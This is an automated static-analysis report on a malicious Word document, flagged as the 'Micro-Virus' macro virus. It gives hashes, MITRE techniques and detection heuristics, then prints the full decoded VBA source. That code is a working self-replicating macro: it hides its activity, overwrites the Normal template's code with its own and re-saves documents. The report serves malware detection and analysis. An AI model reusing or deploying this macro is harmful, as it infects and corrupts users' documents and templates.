Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8a787afb7b2c2993…

MALICIOUS

Office (OLE)

44.0 KB Created: 2015-05-13 02:29:00 Authoring application: Microsoft Office Word First seen: 2015-09-26
MD5: 7c70ab77f9dd803812f74cde13d02a40 SHA-1: b1298d56cbed9390b71392563d37d62e9b22da77 SHA-256: 8a787afb7b2c299390f0ef94855d584c3a42a1293a064b6b56c5efdff3bed6fd
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a VBA macro. The macro exhibits self-replication behavior, attempting to copy its code into the Normal template and potentially other documents, which is a strong indicator of malware persistence and propagation. The macro's intent is to ensure its execution across multiple documents and potentially establish persistence. The presence of a macro-virus detection by ClamAV further supports the malicious classification.

Heuristics 4

  • ClamAV: Doc.Macro.MicroVirus-6097260-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.MicroVirus-6097260-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            .DeleteLines 1, .CountOfLines
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1668 bytes
SHA-256: 23c05dfe1843063484b69ac83a3c05ea521b15b6090dfe4b78d733dc465a3849
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Micro-Virus
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
'MsgBox "DisplayStatusBar = False"

Options.SaveNormalPrompt = False


Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
'MsgBox "Ourcode"

'get normal
Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule


'if normal, set active;
If ThisDocument = NormalTemplate Then
'    MsgBox "ThisDocument = NormalTemplate"
    
    Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule
'    MsgBox "Set Host = ActiveDocument"
End If

With Host
    If .Lines(1, 1) <> "'Micro-Virus" Then
    
        .DeleteLines 1, .CountOfLines
  '      MsgBox "DeleteLines 1, .CountOfLines"
        
        .InsertLines 1, Ourcode
        
        .ReplaceLine 2, "Sub Document_Close()"
    '    MsgBox "ReplaceLine 2,Close()"
       
         If ThisDocument = NormalTemplate Then
     '        MsgBox "ThisDocument = NormalTemplate"
             
             .ReplaceLine 2, "Sub Document_Open()"
      '       MsgBox "ReplaceLine 2,Open()"
             
              ActiveDocument.SaveAs ActiveDocument.FullName
       '     MsgBox "ActiveDocument.SaveAs"
            
         End If
    End If
End With
End Sub